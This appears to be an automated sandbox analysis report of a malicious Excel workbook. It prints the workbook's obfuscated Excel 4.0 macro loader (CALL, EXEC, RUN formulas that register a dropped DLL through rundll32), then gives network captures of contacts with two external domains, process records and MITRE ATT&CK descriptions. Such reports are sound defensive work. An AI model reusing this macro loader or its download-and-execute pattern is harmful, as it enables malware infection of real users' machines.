,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!BC29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""A"",before.3.5.0.she

"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&""1"",0,!AL21)=RUN(Doc4!AM6)"

"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC17&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&""2 ""&Doc3!BC18&""1""&Doc3!BD31&""lRegi""&""ster""&""Ser""&""ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 16:49:00.795989990 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:00.954552889 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:00.954771042 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:00.963002920 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:01.122405052 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:01.135366917 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:01.135399103 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:01.135423899 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:01.135570049 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:01.178358078 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:01.371783018 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:01.372026920 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:03.024713039 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:03.224072933 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:03.290436983 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:03.290656090 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:03.290795088 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:03.290889978 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:03.290942907 CEST	49165	443	192.168.2.22	192.185.39.58
May 12, 2021 16:49:03.362536907 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.450958967 CEST	443	49165	192.185.39.58	192.168.2.22
May 12, 2021 16:49:03.524424076 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.524544001 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.525439024 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.688200951 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.739491940 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.739528894 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.739552975 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.739690065 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.779635906 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.941030025 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.953449965 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:03.953604937 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:03.986517906 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:04.188533068 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:04.649022102 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:04.649091005 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:04.649492025 CEST	443	49168	192.185.32.232	192.168.2.22
May 12, 2021 16:49:04.649558067 CEST	49168	443	192.168.2.22	192.185.32.232
May 12, 2021 16:49:34.650919914 CEST	443	49168	192.185.32.232	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 16:49:00.723387003 CEST	52197	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:00.773670912 CEST	53	52197	8.8.8.8	192.168.2.22
May 12, 2021 16:49:01.725805044 CEST	53099	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:01.774763107 CEST	53	53099	8.8.8.8	192.168.2.22
May 12, 2021 16:49:01.788321018 CEST	52838	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:01.838864088 CEST	53	52838	8.8.8.8	192.168.2.22
May 12, 2021 16:49:02.378927946 CEST	61200	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:02.436444998 CEST	53	61200	8.8.8.8	192.168.2.22
May 12, 2021 16:49:02.442418098 CEST	49548	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:02.493973970 CEST	53	49548	8.8.8.8	192.168.2.22
May 12, 2021 16:49:03.307233095 CEST	55627	53	192.168.2.22	8.8.8.8
May 12, 2021 16:49:03.360260963 CEST	53	55627	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 12, 2021 16:49:00.723387003 CEST	192.168.2.22	8.8.8.8	0x82b3	Standard query (0)	signifysystem.com	A (IP address)	IN (0x0001)
May 12, 2021 16:49:03.307233095 CEST	192.168.2.22	8.8.8.8	0xd9a1	Standard query (0)	fcventasyservicios.cl	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 12, 2021 16:49:00.773670912 CEST	8.8.8.8	192.168.2.22	0x82b3	No error (0)	signifysystem.com		192.185.39.58	A (IP address)	IN (0x0001)
May 12, 2021 16:49:03.360260963 CEST	8.8.8.8	192.168.2.22	0xd9a1	No error (0)	fcventasyservicios.cl		192.185.32.232	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
May 12, 2021 16:49:01.135423899 CEST	192.185.39.58	443	192.168.2.22	49165	CN=cpcontacts.signifysystem.com CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Thu Apr 01 17:00:25 CEST 2021 Wed Oct 07 21:21:40 CEST 2020	Wed Jun 30 17:00:25 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
May 12, 2021 16:49:01.135423899 CEST	192.185.39.58	443	192.168.2.22	49165	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b
May 12, 2021 16:49:03.739552975 CEST	192.185.32.232	443	192.168.2.22	49168	CN=mail.fcventasyservicios.cl CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Tue Mar 16 13:01:12 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Mon Jun 14 14:01:12 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
May 12, 2021 16:49:03.739552975 CEST	192.185.32.232	443	192.168.2.22	49168	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		7dcce5b76c8b17472d024758970a406b

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2480 Parent PID: 584

General

Start time:	16:48:38
Start date:	12/05/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fbe0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2692 Parent PID: 2480

General

Start time:	16:48:45
Start date:	12/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ritofm.cvm,DllRegisterServer
Imagebase:	0xfffd0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2632 Parent PID: 2480

General

Start time:	16:48:46
Start date:	12/05/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\ritofm.cvm1,DllRegisterServer
Imagebase:	0xfffd0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Analysis Report 090811fa_by_Libranalysis

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "090811fa_by_Libranalysis.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

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